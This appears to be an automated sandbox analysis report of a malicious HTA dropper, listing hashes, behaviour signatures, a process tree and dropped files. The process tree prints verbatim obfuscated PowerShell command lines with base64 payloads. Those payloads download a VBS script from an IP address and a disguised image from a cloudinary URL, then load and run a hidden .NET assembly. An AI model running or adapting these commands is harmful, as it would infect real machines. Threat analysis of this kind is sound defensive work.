Analysis

  • max time kernel
    13s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    16-12-2024 06:16

General

  • Target

    clearentirethingwithbestnoticetheeverythinggooodfrome.hta

  • Size

    144KB

  • MD5

    5215d83b478d7a718062863c5efbbeeb

  • SHA1

    9ac735295a8b3bc10740d50669f6fa5c81ae10ce

  • SHA256

    af6c6b710e9a4c5e2d8b53642779548a4edcd528cd7e5714c6ac9d69f38efb80

  • SHA512

    b1ea72019653fa7858aa1b6ad1fa3fcf6974ade703be0edd55f891030706fc675425e5f1372dc3a61671dff5e40e6baceba019af60711cd65a248f7cecbca915

  • SSDEEP

    768:t1EZFxaTOum2oum2M5KUJDVUKhCbGVf/AMF9woN83WkkA7MhrkK0IHj66666666l:tg

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\clearentirethingwithbestnoticetheeverythinggooodfrome.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2820
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWERSHELL.Exe -Ex byPasS -nOp -w 1 -c DEvIceCRedeNtiAldEPLOYmeNt ; InVokE-exPREsSiOn($(inVoKe-EXPResSiOn('[SysteM.Text.encOding]'+[chaR]58+[CHAr]0x3A+'UtF8.GeTsTriNg([SYSTEm.convERT]'+[cHar]58+[chAR]58+'FRoMbaSE64stRinG('+[CHaR]0x22+'JERjRkpzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFUmRFRklOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpSUZxTmtqbCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkZoc0dSLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSE1KaGh1LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB4a0IpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIllQIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRkaU5YdHJnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERjRkpzOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTIyLjE1OS8xMjEvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pbmdvbi50SUYiLCIkRW5WOkFQUERBVEFcL3NpbXBsZWdyZWF0ZmVhdHVyZXN3aXRobmljZXNwZWFraW5ndGhpbmdzZW50aXJlbGlmZWdvaS52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7SU52b2tFLWV4UFJlU1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVwvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pLnZiUyI='+[ChAR]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2260
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWERSHELL.Exe -Ex byPasS -nOp -w 1 -c DEvIceCRedeNtiAldEPLOYmeNt ; InVokE-exPREsSiOn($(inVoKe-EXPResSiOn('[SysteM.Text.encOding]'+[chaR]58+[CHAr]0x3A+'UtF8.GeTsTriNg([SYSTEm.convERT]'+[cHar]58+[chAR]58+'FRoMbaSE64stRinG('+[CHaR]0x22+'JERjRkpzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFUmRFRklOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpSUZxTmtqbCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkZoc0dSLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSE1KaGh1LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB4a0IpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIllQIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRkaU5YdHJnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERjRkpzOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTIyLjE1OS8xMjEvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pbmdvbi50SUYiLCIkRW5WOkFQUERBVEFcL3NpbXBsZWdyZWF0ZmVhdHVyZXN3aXRobmljZXNwZWFraW5ndGhpbmdzZW50aXJlbGlmZWdvaS52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7SU52b2tFLWV4UFJlU1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVwvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pLnZiUyI='+[ChAR]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f4i-val-.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2168
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDC9A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDC99.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2908
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\simplegreatfeatureswithnicespeakingthingsentirelifegoi.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3052
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $capellmeister = 'JG5vbmV2YWx1YXRpdmUgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskZXJ5dGhyb3N0b211bSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHBpZWhvbGVzID0gJGVyeXRocm9zdG9tdW0uRG93bmxvYWREYXRhKCRub25ldmFsdWF0aXZlKTskcGxhY29kZXJtYXRvdXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcGllaG9sZXMpOyRiYW5kYm94ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyR5ZW1hbiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHByZWxhY3kgPSAkcGxhY29kZXJtYXRvdXMuSW5kZXhPZigkYmFuZGJveCk7JGZhbWVkID0gJHBsYWNvZGVybWF0b3VzLkluZGV4T2YoJHllbWFuKTskcHJlbGFjeSAtZ2UgMCAtYW5kICRmYW1lZCAtZ3QgJHByZWxhY3k7JHByZWxhY3kgKz0gJGJhbmRib3guTGVuZ3RoOyR3aXRlbmFnZW1vdCA9ICRmYW1lZCAtICRwcmVsYWN5OyRzb3Bob21hbmlhYyA9ICRwbGFjb2Rlcm1hdG91cy5TdWJzdHJpbmcoJHByZWxhY3ksICR3aXRlbmFnZW1vdCk7JGdyaWZmaW4gPSAtam9pbiAoJHNvcGhvbWFuaWFjLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRzb3Bob21hbmlhYy5MZW5ndGgpXTskYXV0b3Bsb2lkeSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGdyaWZmaW4pOyRsZWRlcml0ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGF1dG9wbG9pZHkpOyR1bmJpb3R1cmJhdGVkID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JHVuYmlvdHVyYmF0ZWQuSW52b2tlKCRudWxsLCBAKCcwLzFEYkJwL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckYmFja3NjYXR0ZXJpbmdzJywgJyRiYWNrc2NhdHRlcmluZ3MnLCAnJGJhY2tzY2F0dGVyaW5ncycsICdDYXNQb2wnLCAnJGJhY2tzY2F0dGVyaW5ncycsICckYmFja3NjYXR0ZXJpbmdzJywnJGJhY2tzY2F0dGVyaW5ncycsJyRiYWNrc2NhdHRlcmluZ3MnLCckYmFja3NjYXR0ZXJpbmdzJywnJGJhY2tzY2F0dGVyaW5ncycsJyRiYWNrc2NhdHRlcmluZ3MnLCcxJywnJGJhY2tzY2F0dGVyaW5ncycsJycpKTs=';$hypoxanthine = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($capellmeister));Invoke-Expression $hypoxanthine
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2184

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabF76B.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESDC9A.tmp

    Filesize

    1KB

    MD5

    340e5ee8c96ac698a3962b53efca0607

    SHA1

    2ab621274db0229a4bb7ce84fa56581c4f3e391c

    SHA256

    77f6695a9a60211c6185bd96d2ca509061a8e3db0c2ee08cd31e913bde6c85af

    SHA512

    77d5f470f8e02cdf126a6aefa16df001941004023c23efbd9b447c4735fa5284a3df9ab49b50cccc3b4082432a9a04cf216539b48295dbbd51e39e58ca086f9e

  • C:\Users\Admin\AppData\Local\Temp\TarF7BC.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\f4i-val-.dll

    Filesize

    3KB

    MD5

    a000e6722491a0d9398220643cee477b

    SHA1

    66c3284a05dbeccd1c32609394b1a6b6531dd7cd

    SHA256

    f79e851365a64558d4f98f40bac856f4e02b303c62d721534f5cb709e7512f21

    SHA512

    6872fd2b7e77ecdb4fddc419e1bd80fc1757aa5bcb13b80f0b00ad16fc66c741b3aef26ead7a1d95815bf21473337c28fe55cce516ac24b081303ac7fcec257b

  • C:\Users\Admin\AppData\Local\Temp\f4i-val-.pdb

    Filesize

    7KB

    MD5

    f50ebd7af7d8f364118015abfb8b08be

    SHA1

    005ccf081c96bcdcc7afbaf7a7ec55b641ab8cf2

    SHA256

    9cbd4ea1264217dda6c706635346cd2ecfcf1ae924e4b45350f9f94bf7edef08

    SHA512

    8bcee57d3fc019279c9a94a6a97b7278d9faf24eceed86ce4186bcae142084cc61744faa08969bdb601628b22afe39adbbd07e1a1638e7d11582cc0b3b376ba3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    aa8b0865c82482bb97f5d0233ae28cd8

    SHA1

    aee060486a6f94460ee203cee57b15c0b53a2bce

    SHA256

    9074b4246394295b0562dc92ae6cf01848192b82428b135050878cee946214aa

    SHA512

    f9133d6d898611e52f61875339094192342e1f02aebc7973111736470359ff907532d0e49b49cc48c32c5468ccd9acbdcb4662cbd340cf159942bcf80ccb652b

  • C:\Users\Admin\AppData\Roaming\simplegreatfeatureswithnicespeakingthingsentirelifegoi.vbS

    Filesize

    150KB

    MD5

    2e124153be958647e84566b305ecf94e

    SHA1

    d7d06fe6314ee8e4c31a971872632477ede38248

    SHA256

    5b5835cebcc79ae42d3edc11ddca5e2f6c4bf333e78d1b2d0733a091a9fd887e

    SHA512

    9bb7f048cfa817e406d63affc034ea89f7beb6dd584521d5b1a531a032e22470bb9e9c8a12931b5838a77267acf5fe64e8e788caee49c014348b75925614e450

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCDC99.tmp

    Filesize

    652B

    MD5

    4a8620b92877686dd46b56eaf19db486

    SHA1

    755d4bbfc9ff8e10e60aa3d4e33f51a433c5b0da

    SHA256

    3b3262f72df1f26a6c6c7dd2d657c01e3f73fa06c0c4cd0bd0bc1b7e91d62158

    SHA512

    2fb844a12014c15395d84234e2c418501c846792b880c407b74167aac817a193ccd1d2790e97afd2bc3339e2c446167b35859346b52e36acbd67df5fad70195c

  • \??\c:\Users\Admin\AppData\Local\Temp\f4i-val-.0.cs

    Filesize

    475B

    MD5

    0c431e10cf228fe2c475697b04ff0ebb

    SHA1

    04439e5d97e5c2e03f57caf24564925b32d644cb

    SHA256

    f0514c83d3a0460e90e267fbb96546f4b5890906eb7ea94799c38ec743fb91ae

    SHA512

    954a57476daa5408f0ff679972741e63e8fe61ff20bdefc40b83ad6ff633b0a7d5d3ddce7cfaff0a5ff0bc2300704f6c5639adbf44f38a818d22644814e5efcb

  • \??\c:\Users\Admin\AppData\Local\Temp\f4i-val-.cmdline

    Filesize

    309B

    MD5

    949b2c4e71ad3c978a293488ddfb74d9

    SHA1

    71de0ff5b824c3171970c916ff91dd76b1e14725

    SHA256

    8115f42588901c6c5057c397723dda0bee3d0a1e68cc98ede40680538da048f9

    SHA512

    ebaa9a4b22923b89f5dd8d71852e5604c531163a2ff804bd4222a7de6891ac84142457c3eb117d14d7a1173430f49dd6dec1233945a33ba6bcb73052e5916fb1